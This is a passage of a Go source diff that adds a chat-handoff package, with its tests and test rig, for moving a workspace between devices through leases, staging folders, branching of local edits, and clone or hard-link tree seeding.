exists(root) + if had { + if err := os.Rename(root, aside); err != nil { + return err + } + } + if err := os.Rename(stage, root); err != nil { + if had { + err = errors.Join(err, os.Rename(aside, root)) + } + return err + } + return os.RemoveAll(aside) +} + +// open runs the hooks and opens the cell. Once the lease is ours, a failure +// here hands it back, so the chat is takeable at once instead of after a TTL. +func (t Taker) open(ctx context.Context, c cell.Cell, fence uint64) (cell.Cell, error) { + for _, hook := range t.After { + if err := hook(ctx, c); err != nil { + return cell.Cell{}, t.giveBack(ctx, c.ID, fence, fmt.Errorf("handoff: %w", err)) + } + } + opened, err := cell.OpenAt(c.Root, c.ID) + if err != nil { + return cell.Cell{}, t.giveBack(ctx, c.ID, fence, err) + } + return opened, nil +} + +// giveBack releases the lease and answers cause, joined with a release failure +// if there was one (the lease then lapses by itself). +func (t Taker) giveBack(ctx context.Context, id string, fence uint64, cause error) error { + return errors.Join(cause, t.Dir.Release(ctx, id, fence)) +} + +func exists(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +func short(head string) string { return head[:min(len(head), 12)] } diff --git a/internal/handoff/handoff_test.go b/internal/handoff/handoff_test.go new file mode 100644 index 0000000000..b05f2a8ae2 --- /dev/null +++ b/internal/handoff/handoff_test.go @@ -0,0 +1,381 @@ +package handoff + +import ( + "context" + "errors" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// backFromB is the common scene: A started the chat, B continued it and let go. +func backFromB(t *testing.T) (w *world, a, b *device) { + t.Helper() + w = newWorld(t) + a, b = w.device(devA), w.device(devB) + drv := a.start(map[string]string{"a.txt": "one"}) + a.release(drv) + b.work(map[string]string{"a.txt": "one", "b.txt": "from b"}) + w.trace.steps = nil + return w, a, b +} + +func TestTakeKeepsLocalEditsInBranch(t *testing.T) { + w, a, _ := backFromB(t) + head := w.cellRec(chatID).Head + if err := os.WriteFile(filepath.Join(a.root(chatID), "a.txt"), []byte("hand edit"), 0o600); err != nil { + t.Fatal(err) + } + a.local.dirty = true + + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + if taken.Kept == "" { + t.Fatal("Kept is empty; the edit was not branched") + } + want := []string{"seal", "branch", "fetch", "acquire"} + if !reflect.DeepEqual(w.trace.steps, want) { + t.Fatalf("order = %v, want %v (edits are kept before anything is fetched)", w.trace.steps, want) + } + if got := tree(t, taken.Cell.Root); got["b.txt"] != "from b" || got["a.txt"] != "one" { + t.Fatalf("root = %v, want B's head materialized", got) + } + rec := w.cellRec(taken.Kept) + if rec.ParentCell != chatID || rec.OrphanTurns != 1 { + t.Fatalf("branch record = parent %q orphan %d, want parent %s orphan 1", rec.ParentCell, rec.OrphanTurns, chatID) + } + if taken.Driving.Head != head { + t.Fatalf("driving head = %s, want %s", taken.Driving.Head, head) + } + if got := fetchBranch(t, w, rec.Head); got["a.txt"] != "hand edit" { + t.Fatalf("branch holds %v, want the hand edit", got) + } +} + +// fetchBranch materializes a head on a third device and reads it back. +func fetchBranch(t *testing.T, w *world, head string) map[string]string { + t.Helper() + c := w.device("dev_c") + cl := c.cell("branch-view") + if err := c.taker().Fetch.Fetch(context.Background(), cl, head); err != nil { + t.Fatal(err) + } + return tree(t, cl.Root) +} + +func TestTakeCleanExistingRootIsNotBranched(t *testing.T) { + _, a, _ := backFromB(t) + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil || taken.Kept != "" { + t.Fatalf("Take = kept %q, err %v; a clean root needs no branch", taken.Kept, err) + } +} + +func TestTakeBackAfterAToBAndAgain(t *testing.T) { + w, a, b := backFromB(t) + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + if taken.Driving.Fence != 3 || taken.Kept != "" { + t.Fatalf("fence %d kept %q, want fence 3 and nothing kept", taken.Driving.Fence, taken.Kept) + } + if got := tree(t, taken.Cell.Root); got["b.txt"] != "from b" { + t.Fatalf("root = %v, want B's work", got) + } + a.release(taken.Driving) + head := b.work(map[string]string{"b.txt": "second b"}) + again, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + if again.Driving.Head != head || tree(t, again.Cell.Root)["b.txt"] != "second b" { + t.Fatalf("second take = head %s tree %v, want %s and B's newest", again.Driving.Head, tree(t, again.Cell.Root), head) + } + if got := w.cellRec(chatID).Lease.Device; got != devA { + t.Fatalf("lease holder %s, want %s", got, devA) + } +} + +// TestTakeRunningChatDisplacesItsHolder: a person who continues a chat that is +// running on another device takes it at once, without waiting for the holder's +// lease to run out, and the holder's next write is refused as superseded. +func TestTakeRunningChatDisplacesItsHolder(t *testing.T) { + w := newWorld(t) + a, b := w.device(devA), w.device(devB) + drv := a.start(map[string]string{"a.txt": "one"}) // A still holds a live lease + + taken, err := b.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatalf("Take of a running chat = %v, want it taken at once", err) + } + if taken.Driving.Fence != 2 || w.cellRec(chatID).Lease.Device != devB { + t.Fatalf("fence %d, holder %s; want B at fence 2", taken.Driving.Fence, w.cellRec(chatID).Lease.Device) + } + pub := &cellsync.Publisher{Engine: a.eng, Store: a.store, Dir: a.dir} + next := a.eng.Seal(a.cell(chatID), map[string]string{"a.txt": "two"}) + err = pub.Publish(context.Background(), &drv, next, cellsync.PublishInfo{Class: "chat"}) + if !errors.Is(err, cellsync.ErrSuperseded) { + t.Fatalf("displaced holder's publish = %v, want ErrSuperseded", err) + } +} + +func TestTakeFetchFailureTakesNoLease(t *testing.T) { + w, a, _ := backFromB(t) + before := w.cellRec(chatID).Lease + a.store.down = blobstore.ErrUnreachable + + _, err := a.taker().Take(context.Background(), chatID) + if !errors.Is(err, blobstore.ErrUnreachable) { + t.Fatalf("err = %v, want the store's", err) + } + if w.trace.has("acquire") || w.cellRec(chatID).Lease != before { + t.Fatalf("lease touched: trace %v, lease %+v", w.trace.steps, w.cellRec(chatID).Lease) + } +} + +func TestTakeMissingObjectNamesItAndLeavesRootClean(t *testing.T) { + w, _, _ := backFromB(t) + c := w.device("dev_c") + c.store.hide = true + + _, err := c.taker().Take(context.Background(), chatID) + if err == nil || c.store.Missing == "" || !strings.Contains(err.Error(), c.store.Missing) { + t.Fatalf("err = %v, want it to name object %q", err, c.store.Missing) + } + if !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("err = %v, want blobstore.ErrNotFound underneath", err) + } + if _, statErr := os.Stat(c.root(chatID)); !os.IsNotExist(statErr) { + t.Fatalf("root exists after a failed take: %v", tree(t, c.root(chatID))) + } + if w.trace.has("acquire") { + t.Fatal("a lease was taken for a head that could not be fetched") + } +} + +func TestTakeRefusedWhenDirectoryUnreachable(t *testing.T) { + w, a, _ := backFromB(t) + a.local.dirty = true + a.dir.down = directory.ErrUnreachable + + _, err := a.taker().Take(context.Background(), chatID) + if !errors.Is(err, directory.ErrUnreachable) { + t.Fatalf("err = %v, want directory.ErrUnreachable", err) + } + if len(w.trace.steps) != 0 { + t.Fatalf("steps %v ran; nothing may change without the directory", w.trace.steps) + } +} + +func TestTakeLosesRace(t *testing.T) { + w := newWorld(t) + a, b := w.device(devA), w.device(devB) + drv := a.start(map[string]string{"a.txt": "one"}) + a.release(drv) + ran := false + a.hooks = []func(context.Context, cell.Cell) error{func(context.Context, cell.Cell) error { ran = true; return nil }} + // B wins the acquire while A is still fetching. + a.onFetc = func() { + if _, err := b.dir.Client.Acquire(context.Background(), chatID, directory.AcquireOpts{}); err != nil { + t.Fatal(err) + } + } + before := w.cellRec(chatID).Lease + + taken, err := a.taker().Take(context.Background(), chatID) + if !errors.Is(err, directory.ErrLeaseHeld) { + t.Fatalf("err = %v, want ErrLeaseHeld", err) + } + if ran || taken.Kept != "" || taken.Driving.Fence != 0 { + t.Fatalf("hooks ran %v, taken %+v; a lost race changes nothing", ran, taken) + } + if got := w.cellRec(chatID).Lease; got.Device != devB || got.Fence != before.Fence+1 { + t.Fatalf("lease = %+v, want B's, untouched by A", got) + } +} + +func TestTakeRefetchesMovedHead(t *testing.T) { + w, a, b := backFromB(t) + stale := w.cellRec(chatID).Head + var moved string + a.onFetc = func() { moved = b.work(map[string]string{"b.txt": "moved"}) } + tk := a.taker() + + taken, err := tk.Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + heads := tk.Fetch.(*tracedFetch).heads + if !reflect.DeepEqual(heads, []string{stale, moved}) { + t.Fatalf("fetched %v, want the stale head then %s", heads, moved) + } + if taken.Driving.Head != moved || tree(t, taken.Cell.Root)["b.txt"] != "moved" { + t.Fatalf("opened head %s tree %v, want the moved head", taken.Driving.Head, tree(t, taken.Cell.Root)) + } +} + +func TestTakeAfterHooksRunInOrderBeforeOpen(t *testing.T) { + w := newWorld(t) + a, b := w.device(devA), w.device(devB) + // The head carries no meta.json; only a hook makes the folder openable, so + // a successful take proves the hooks ran before cell.OpenAt. + w.bare = true + a.release(a.start(nil)) + var order []string + b.hooks = []func(context.Context, cell.Cell) error{ + func(context.Context, cell.Cell) error { order = append(order, "first"); return nil }, + func(_ context.Context, c cell.Cell) error { + order = append(order, "second") + meta := filepath.Join(c.Root, cell.MetaPath) + if err := os.MkdirAll(filepath.Dir(meta), 0o700); err != nil { + return err + } + return os.WriteFile(meta, []byte(w.meta), 0o600) + }, + } + if _, err := b.taker().Take(context.Background(), chatID); err != nil { + t.Fatalf("Take: %v", err) + } + if !reflect.DeepEqual(order, []string{"first", "second"}) { + t.Fatalf("hook order = %v", order) + } +} + +func TestTakeFailingHookFailsBeforeOpenAndFreesLease(t *testing.T) { + w := newWorld(t) + a, b := w.device(devA), w.device(devB) + w.bare = true // the folder cannot be opened, so an open error would show if hooks did not come first + a.release(a.start(nil)) + boom := errors.New("vault refused") + var ran []string + b.hooks = []func(context.Context, cell.Cell) error{ + func(context.Context, cell.Cell) error { ran = append(ran, "one"); return nil }, + func(context.Context, cell.Cell) error { ran = append(ran, "two"); return boom }, + func(context.Context, cell.Cell) error { ran = append(ran, "three"); return nil }, + } + + _, err := b.taker().Take(context.Background(), chatID) + if !errors.Is(err, boom) { + t.Fatalf("err = %v, want the hook's error (and not an open error: hooks come first)", err) + } + if !reflect.DeepEqual(ran, []string{"one", "two"}) { + t.Fatalf("hooks ran %v, want the first two only", ran) + } + if got := w.cellRec(chatID).Lease.Expires; got != 0 { + t.Fatalf("lease expires %d after a failed take, want it released", got) + } +} + +// TestTakeLostRaceLeavesNoTreeInTheRoot pins ruling (b): the fetched tree lives +// in a staging folder until the lease is ours, so a device that loses the race +// has neither a root nor a staging folder afterwards. +func TestTakeLostRaceLeavesNoTreeInTheRoot(t *testing.T) { + w := newWorld(t) + a, b, c := w.device(devA), w.device(devB), w.device("dev_c") + a.release(a.start(map[string]string{"a.txt": "one"})) + c.onFetc = func() { + if _, err := b.dir.Client.Acquire(context.Background(), chatID, directory.AcquireOpts{}); err != nil { + t.Fatal(err) + } + } + + _, err := c.taker().Take(context.Background(), chatID) + if !errors.Is(err, directory.ErrLeaseHeld) { + t.Fatalf("err = %v, want ErrLeaseHeld", err) + } + for _, path := range []string{c.root(chatID), c.root(chatID) + ".taking"} { + if _, statErr := os.Stat(path); !os.IsNotExist(statErr) { + t.Fatalf("%s exists after a lost race", path) + } + } +} + +// TestTakeLostRaceKeepsTheOldRoot is the same law for a device that already has +// the chat: the tree it had stays exactly as it was. +func TestTakeLostRaceKeepsTheOldRoot(t *testing.T) { + _, a, b := backFromB(t) + before := tree(t, a.root(chatID)) + a.onFetc = func() { + if _, err := b.dir.Client.Acquire(context.Background(), chatID, directory.AcquireOpts{}); err != nil { + t.Fatal(err) + } + } + if _, err := a.taker().Take(context.Background(), chatID); !errors.Is(err, directory.ErrLeaseHeld) { + t.Fatalf("err = %v, want ErrLeaseHeld", err) + } + if got := tree(t, a.root(chatID)); !reflect.DeepEqual(got, before) { + t.Fatalf("root changed by a lost race: %v, was %v", got, before) + } +} + +// TestTakeInPlaceKeepsThePersonsFolder: a chat whose tree is a folder the person +// owns gets the head restored into that folder, which stays the same directory. +func TestTakeInPlaceKeepsThePersonsFolder(t *testing.T) { + _, a, _ := backFromB(t) + before, err := os.Stat(a.root(chatID)) + if err != nil { + t.Fatal(err) + } + tk := a.taker() + tk.InPlace = func(cell.Cell) bool { return true } + + taken, err := tk.Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + after, err := os.Stat(taken.Cell.Root) + if err != nil || !os.SameFile(before, after) { + t.Fatalf("the folder was replaced (%v)", err) + } + if got := tree(t, taken.Cell.Root); got["b.txt"] != "from b" { + t.Fatalf("root = %v, want B's work restored in place", got) + } + if _, err := os.Stat(taken.Cell.Root + ".taking"); !os.IsNotExist(err) { + t.Fatalf("staging folder left behind (%v)", err) + } + if len(a.local.followed) != 0 { + t.Fatalf("a folder restored in place never moved, yet the engine was told %v", a.local.followed) + } +} + +// TestTakeInPlaceRestoresTheTreeOnceAndOnlyWhereItStands: a staged restore of +// a folder that is then restored in place is a second whole-tree restore that +// is thrown away, so the take completes the store and restores into the folder +// alone. +func TestTakeInPlaceRestoresTheTreeOnceAndOnlyWhereItStands(t *testing.T) { + _, a, _ := backFromB(t) + tk := a.taker() + tk.InPlace = func(cell.Cell) bool { return true } + traced := tk.Fetch.(*tracedFetch) + + if _, err := tk.Take(context.Background(), chatID); err != nil { + t.Fatal(err) + } + + if want := []string{a.root(chatID)}; !reflect.DeepEqual(traced.restored, want) { + t.Fatalf("trees restored into %v, want only %v", traced.restored, want) + } +} + +// A copy that is replaced by the staging folder is a tree the engine registered +// under the staging path, so the engine is told it moved. +func TestTakeTellsTheEngineWhereTheStagedTreeWent(t *testing.T) { + _, a, _ := backFromB(t) + if _, err := a.taker().Take(context.Background(), chatID); err != nil { + t.Fatal(err) + } + root := a.root(chatID) + if want := []string{root + ".taking -> " + root}; !reflect.DeepEqual(a.local.followed, want) { + t.Fatalf("the engine was told %v, want %v", a.local.followed, want) + } +} diff --git a/internal/handoff/rig_test.go b/internal/handoff/rig_test.go new file mode 100644 index 0000000000..8ad5d9d145 --- /dev/null +++ b/internal/handoff/rig_test.go @@ -0,0 +1,338 @@ +package handoff + +import ( + "context" + "fmt" + "os" + "path/filepath" + "slices" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" +) + +const ( + devA = "dev_a" + devB = "dev_b" + chatID = "01J0000000000000000000000A" +) + +// world is the shared store and directory that every device of one identity sees. +type world struct { + t *testing.T + clock *directorytest.FakeClock + dir *directory.Memory + mem *blobstore.Memory + meta string // a valid .cell/meta.json every sealed head carries + bare bool // seal heads without it, so only a hook can make the folder openable + trace *trace + ids int +} + +// device is one machine: its own engine, its own disk, its own directory client. +type device struct { + w *world + name string + eng *cellsync.FakeEngine + dir *tracedDir + store *tracedStore + local *fakeLocal + base string + hooks []func(context.Context, cell.Cell) error + onFetc func() // runs after each fetch, to move the world under the taker +} + +func newWorld(t *testing.T) *world { + t.Helper() + clock := directorytest.NewFakeClock() + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.FilesOnly}) + if err != nil { + t.Fatal(err) + } + raw, err := os.ReadFile(filepath.Join(c.Root, cell.MetaPath)) + if err != nil { + t.Fatal(err) + } + return &world{t: t, clock: clock, dir: directory.NewMemory(clock.Now), mem: blobstore.NewMemory(), + meta: string(raw), trace: &trace{}} +} + +func (w *world) device(name string) *device { + d := &device{w: w, name: name, eng: cellsync.NewFakeEngine(w.t.TempDir()), base: w.t.TempDir()} + d.dir = &tracedDir{Client: w.dir.For(name), trace: w.trace} + d.store = &tracedStore{Store: w.mem} + d.local = &fakeLocal{d: d} + return d +} + +func (d *device) root(id string) string { return filepath.Join(d.base, "roots", id) } + +func (d *device) cell(id string) cell.Cell { return cell.Cell{ID: id, Root: d.root(id)} } + +// withMeta adds the cell's meta.json to files, as every real head carries it. +func (w *world) withMeta(files map[string]string) map[string]string { + out := map[string]string{} + if !w.bare { + out[cell.MetaPath] = w.meta + } + for k, v := range files { + out[k] = v + } + return out +} + +// taker is this device's Taker, wired as the real wiring would be. +func (d *device) taker() Taker { + fetcher := &cellsync.Fetcher{Engine: d.eng, Store: d.store, Inbox: func(c cell.Cell) string { + return filepath.Join(d.base, "inbox", c.ID) + }} + pub := &cellsync.Publisher{Engine: d.eng, Store: d.store, Dir: d.dir} + brancher := cellsync.Brancher{Dir: d.dir, Publisher: pub, NewID: d.newID} + return Taker{ + Dir: d.dir, + Fetch: &tracedFetch{d: d, inner: fetcher}, + Local: d.local, + Branch: d.branch(brancher), + RootFor: d.root, + After: d.hooks, + } +} + +func (d *device) newID() (string, error) { + d.w.ids++ + return fmt.Sprintf("branch-%s-%d", d.name, d.w.ids), nil +} + +// branch notes the step and hands over to the Brancher, which uploads head +// itself: nothing in this wiring uploads for it. +func (d *device) branch(b cellsync.Brancher) func(context.Context, *cellsync.Driving, string, uint32) (string, error) { + return func(ctx context.Context, from *cellsync.Driving, head string, turns uint32) (string, error) { + d.w.trace.add("branch") + return b.Branch(ctx, from, head, turns, cellsync.PublishInfo{Class: "chat"}) + } +} + +// start makes this device create the chat with files and hold it. +func (d *device) start(files map[string]string) cellsync.Driving { + d.w.t.Helper() + c := d.cell(chatID) + drv := cellsync.Driving{Cell: c} + head := d.eng.Seal(c, d.w.withMeta(files)) + d.materialize(c, files) + pub := &cellsync.Publisher{Engine: d.eng, Store: d.store, Dir: d.dir} + if err := pub.Publish(context.Background(), &drv, head, cellsync.PublishInfo{Class: "chat"}); err != nil { + d.w.t.Fatalf("%s start: %v", d.name, err) + } + return drv +} + +// work is one turn of this device on the chat: take the lease, seal files, +// publish, and let the lease go. +func (d *device) work(files map[string]string) string { + d.w.t.Helper() + ctx := context.Background() + view, err := d.dir.Client.Cell(ctx, chatID) + if err != nil { + d.w.t.Fatal(err) + } + got, err := d.dir.Client.Acquire(ctx, chatID, directory.AcquireOpts{}) + if err != nil { + d.w.t.Fatalf("%s acquire: %v", d.name, err) + } + c := d.cell(chatID) + head := d.eng.Seal(c, d.w.withMeta(files)) + drv := cellsync.Driving{Cell: c, Fence: got.Cell.Lease.Fence, Head: view.Cell.Head} + pub := &cellsync.Publisher{Engine: d.eng, Store: d.store, Dir: d.dir.Client} + if err := pub.Publish(ctx, &drv, head, cellsync.PublishInfo{Class: "chat"}); err != nil { + d.w.t.Fatalf("%s publish: %v", d.name, err) + } + d.release(drv) + return head +} + +func (d *device) release(drv cellsync.Driving) { + d.w.t.Helper() + if err := d.dir.Client.Release(context.Background(), chatID, drv.Fence); err != nil { + d.w.t.Fatalf("%s release: %v", d.name, err) + } +} + +// materialize writes files under the device's root for c, as a live session would. +func (d *device) materialize(c cell.Cell, files map[string]string) { + d.w.t.Helper() + for path, body := range d.w.withMeta(files) { + target := filepath.Join(c.Root, path) + if err := os.MkdirAll(filepath.Dir(target), 0o700); err != nil { + d.w.t.Fatal(err) + } + if err := os.WriteFile(target, []byte(body), 0o600); err != nil { + d.w.t.Fatal(err) + } + } +} + +func (d *device) lapse() { d.w.clock.Advance(directory.LeaseTTL + 1) } + +// cellRec is the directory's record of id. +func (w *world) cellRec(id string) directory.Cell { + w.t.Helper() + v, err := w.dir.For("observer").Cell(context.Background(), id) + if err != nil { + w.t.Fatalf("cell %s: %v", id, err) + } + return v.Cell +} + +// tree reads every file under root except the cell's own state as path -> body. +func tree(t *testing.T, root string) map[string]string { + t.Helper() + out := map[string]string{} + _ = filepath.WalkDir(root, func(p string, e os.DirEntry, err error) error { + if err != nil || e.IsDir() { + return err + } + rel, _ := filepath.Rel(root, p) + raw, err := os.ReadFile(p) + out[rel] = string(raw) + return err + }) + delete(out, cell.MetaPath) + return out +} + +// trace records the order of the steps a takeover makes. +type trace struct{ steps []string } + +func (t *trace) add(s string) { t.steps = append(t.steps, s) } + +func (t *trace) has(s string) bool { + for _, x := range t.steps { + if x == s { + return true + } + } + return false +} + +// tracedDir notes acquires and can be made unreachable. +type tracedDir struct { + directory.Client + trace *trace + down error +} + +func (d *tracedDir) Cell(ctx context.Context, id string) (directory.CellView, error) { + if d.down != nil { + return directory.CellView{}, d.down + } + return d.Client.Cell(ctx, id) +} + +func (d *tracedDir) Acquire(ctx context.Context, id string, o directory.AcquireOpts) (directory.CellView, error) { + d.trace.add("acquire") + return d.Client.Acquire(ctx, id, o) +} + +// tracedStore can lose an object or go away. +type tracedStore struct { + blobstore.Store + down error + hide bool // hide the next object asked for + Missing string // the rid that was hidden +} + +func (s *tracedStore) Get(ctx context.Context, rid string) ([]byte, error) { + if s.down != nil { + return nil, s.down + } + if s.hide { + s.hide, s.Missing = false, rid + } + if rid == s.Missing && rid != "" { + return nil, blobstore.ErrNotFound + } + return s.Store.Get(ctx, rid) +} + +// GetMany is Get's failures over a batch: the store being down fails it, and a +// hidden object ends the answer where it stands, as an absent one does. +func (s *tracedStore) GetMany(ctx context.Context, rids []string) ([]blobstore.Object, error) { + if s.down != nil { + return nil, s.down + } + if s.hide && len(rids) > 0 { + s.hide, s.Missing = false, rids[0] + } + if i := slices.Index(rids, s.Missing); s.Missing != "" && i >= 0 { + rids = rids[:i] + if i == 0 { + return nil, blobstore.ErrNotFound + } + } + return s.Store.GetMany(ctx, rids) +} + +// tracedFetch notes each fetch and lets a test move the world after one. +type tracedFetch struct { + d *device + inner Fetch + heads []string + // restored is the root of every fetch that restored a tree. + restored []string +} + +func (f *tracedFetch) Fetch(ctx context.Context, c cell.Cell, head string) error { + f.d.w.trace.add("fetch") + f.heads = append(f.heads, head) + f.restored = append(f.restored, c.Root) + err := f.inner.Fetch(ctx, c, head) + if err == nil && f.d.onFetc != nil { + hook := f.d.onFetc + f.d.onFetc = nil // once + hook() + } + return err +} + +// Complete is a fetch that restores nothing, so it is traced as one: the +// tests that move the world after the first fetch do not care which kind it was. +func (f *tracedFetch) Complete(ctx context.Context, c cell.Cell, head string) error { + f.d.w.trace.add("fetch") + f.heads = append(f.heads, head) + err := f.inner.Complete(ctx, c, head) + if err == nil && f.d.onFetc != nil { + hook := f.d.onFetc + f.d.onFetc = nil // once + hook() + } + return err +} + +// fakeLocal is a device's view of its own root: dirty when told, and sealed +// from whatever files the root holds. +type fakeLocal struct { + d *device + dirty bool + // followed is each move the engine was told about, as "from -> to". + followed []string +} + +func (l *fakeLocal) Dirty(context.Context, cell.Cell) (bool, error) { return l.dirty, nil } + +func (l *fakeLocal) Follow(_ context.Context, from, to cell.Cell) error { + l.followed = append(l.followed, from.Root+" -> "+to.Root) + return nil +} + +func (l *fakeLocal) Seal(_ context.Context, c cell.Cell) (string, uint32, error) { + l.d.w.trace.add("seal") + files := map[string]string{} + for p, body := range tree(l.d.w.t, c.Root) { + files[p] = body + } + return l.d.eng.Seal(c, l.d.w.withMeta(files)), 1, nil +} diff --git a/internal/handoff/seed.go b/internal/handoff/seed.go new file mode 100644 index 0000000000..a1c0fdc234 --- /dev/null +++ b/internal/handoff/seed.go @@ -0,0 +1,134 @@ +package handoff + +import ( + "io/fs" + "os" + "path/filepath" + "time" + + "golang.org/x/sys/unix" +) + +// identityDir is the engine's own bookkeeping folder at the top of a tree. It +// names the workspace the folder belongs to, so a copy of it would make the +// staging folder pose as the chat's real root. +const identityDir = ".furrow" + +// seedFrom fills the empty folder dst with the tree at src: a clone of it where +// the filesystem clones, else directories made anew and files hard-linked to +// the files of src, so a take that changes a few paths writes a few paths. A +// shared file is safe because the engine never writes into a file that exists: +// it writes a new file beside it and renames that over the old one, so the +// file in src keeps its bytes, mode and times whatever the take does to dst. +// +// Seeding only saves work and never decides what the tree holds: the engine +// restores the head over dst by content, adding what is missing, replacing +// what differs and removing what the head does not have. An entry that cannot +// be seeded (a socket, a link the filesystem refuses) is left out, and the +// engine writes it. +func seedFrom(src, dst string) { + if !exists(src) || cloned(src, dst) { + return + } + linkTree(src, dst) +} + +// cloneTree makes dst, which must not exist, a copy-on-write clone of the tree +// at src in one call. It is a variable so a test can refuse the clone the way +// a filesystem that cannot clone does, and its platform file says which +// filesystems can. +var cloneTree = cloneTreeOnPlatform + +// cloned seeds the empty folder dst with a clone of src and says whether it +// did. A clone is one system call where hard links are one per file, which is +// the difference between a tenth of a second and several seconds on a +// repository of thousands of files, and it gives the staging folder files of +// its own, so nothing in it can alias a file of src. When the clone is refused +// (another volume, a filesystem without clones) dst is the empty folder it was +// and the caller links instead. +func cloned(src, dst string) bool { + if os.Remove(dst) != nil { + return false + } + if err := cloneTree(src, dst); err != nil { + _ = os.RemoveAll(dst) + return os.Mkdir(dst, 0o700) != nil + } + _ = os.RemoveAll(filepath.Join(dst, identityDir)) + return true +} + +// linkTree is the seed for a filesystem that cannot clone: directories made +// anew and files hard-linked, an entry that cannot be linked left out. +func linkTree(src, dst string) { + var dirs []string + _ = filepath.WalkDir(src, func(path string, d fs.DirEntry, err error) error { + rel, relErr := filepath.Rel(src, path) + if err != nil || relErr != nil || rel == identityDir { + return skipEntry(d) + } + if rel != "." && !seedEntry(path, filepath.Join(dst, rel), d) { + return skipEntry(d) + } + if d.IsDir() { + dirs = append(dirs, rel) + } + return nil + }) + settleDirs(src, dst, dirs) +} + +// linkFile makes a hard link. It is a variable so a test can refuse the link +// the way a staging folder on another filesystem does. +var linkFile = os.Link + +// skipEntry leaves out an entry, and what is below it when it is a folder. +func skipEntry(d fs.DirEntry) error { + if d != nil && d.IsDir() { + return fs.SkipDir + } + return nil +} + +// seedEntry makes the copy of one entry in the staging folder and says +// whether it is there. +func seedEntry(from, to string, d fs.DirEntry) bool { + switch { + case d.IsDir(): + return os.Mkdir(to, 0o700) == nil + case d.Type()&fs.ModeSymlink != 0: + return linkSymlink(from, to) + case d.Type().IsRegular(): + return linkFile(from, to) == nil + } + return false +} + +func linkSymlink(from, to string) bool { + target, err := os.Readlink(from) + if err != nil || os.Symlink(target, to) != nil { + return false + } + info, err := os.Lstat(from) + return err == nil && setSymlinkTime(to, info.ModTime()) +} + +func setSymlinkTime(path string, at time.Time) bool { + ts := unix.NsecToTimespec(at.UnixNano()) + return unix.UtimesNanoAt(unix.AT_FDCWD, path, []unix.Timespec{ts, ts}, unix.AT_SYMLINK_NOFOLLOW) == nil +} + +// settleDirs gives each seeded folder the mode and time of its original. It +// runs last and deepest first because making an entry in a folder moves its +// time, and a folder whose mode forbids writing could not be filled. +func settleDirs(src, dst string, dirs []string) { + for i := len(dirs) - 1; i >= 0; i-- { + info, err := os.Stat(filepath.Join(src, dirs[i])) + if err != nil { + continue + } + to := filepath.Join(dst, dirs[i]) + _ = os.Chmod(to, info.Mode().Perm()|info.Mode()&(os.ModeSetuid|os.ModeSetgid|os.ModeSticky)) + _ = os.Chtimes(to, info.ModTime(), info.ModTime()) + } +} diff --git a/internal/handoff/seed_clone_darwin.go b/internal/handoff/seed_clone_darwin.go new file mode 100644 index 0000000000..a6ab5589d4 --- /dev/null +++ b/internal/handoff/seed_clone_darwin.go @@ -0,0 +1,10 @@ +package handoff + +import "golang.org/x/sys/unix" + +// cloneTreeOnPlatform clones the tree with APFS's clonefile, which copies a +// folder and everything in it by reference. CLONE_NOFOLLOW keeps a link at the +// top from being followed out of the tree. It fails across volumes. +func cloneTreeOnPlatform(src, dst string) error { + return unix.Clonefile(src, dst, unix.CLONE_NOFOLLOW) +} diff --git a/internal/handoff/seed_clone_darwin_test.go b/internal/handoff/seed_clone_darwin_test.go new file mode 100644 index 0000000000..de0787e6ad --- /dev/null +++ b/internal/handoff/seed_clone_darwin_test.go @@ -0,0 +1,40 @@ +//go:build darwin + +package handoff + +import ( + "os" + "path/filepath" + "testing" +) + +// TestSeedCloneOnAPFSGivesFilesOfItsOwnThatKeepTheirTimes: the real clone +// makes the staging tree equal to the held one, with a file of its own for +// every file, so a write into the held tree does not reach the staging tree. +func TestSeedCloneOnAPFSGivesFilesOfItsOwnThatKeepTheirTimes(t *testing.T) { + src := writeTree(t, map[string]string{"a.txt": "a", "d/b.txt": "b", identityDir + "/workspace": "id"}) + dst := emptyStage(t) + defer func(old func(string, string) error) { cloneTree = old }(cloneTree) + cloneTree = cloneTreeOnPlatform + + seedFrom(src, dst) + + if got := tree(t, dst); got["a.txt"] != "a" || got["d/b.txt"] != "b" { + t.Fatalf("staging = %v, want the held tree", got) + } + if os.SameFile(stat(t, filepath.Join(src, "a.txt")), stat(t, filepath.Join(dst, "a.txt"))) { + t.Fatal("a cloned file is the same file as its source") + } + if !stat(t, filepath.Join(dst, "d/b.txt")).ModTime().Equal(stat(t, filepath.Join(src, "d/b.txt")).ModTime()) { + t.Fatal("a cloned file lost its time") + } + if err := os.WriteFile(filepath.Join(src, "a.txt"), []byte("edited"), 0o644); err != nil { + t.Fatal(err) + } + if got := tree(t, dst)["a.txt"]; got != "a" { + t.Fatalf("a write into the held tree reached the staging tree: %q", got) + } + if exists(filepath.Join(dst, identityDir)) { + t.Fatal("identity folder cloned") + } +} diff --git a/internal/handoff/seed_clone_other.go b/internal/handoff/seed_clone_other.go new file mode 100644 index 0000000000..dbbf5da097 --- /dev/null +++ b/internal/handoff/seed_clone_other.go @@ -0,0 +1,10 @@ +//go:build !darwin + +package handoff + +import "syscall" + +// cloneTreeOnPlatform reports that this platform has no whole-tree clone, so a +// seed is made of hard links, which Linux makes at the same cost as any file +// creation and which the engine never writes through. +func cloneTreeOnPlatform(string, string) error { return syscall.ENOTSUP } diff --git a/internal/handoff/seed_test.go b/internal/handoff/seed_test.go new file mode 100644 index 0000000000..85bd72ffcc --- /dev/null +++ b/internal/handoff/seed_test.go @@ 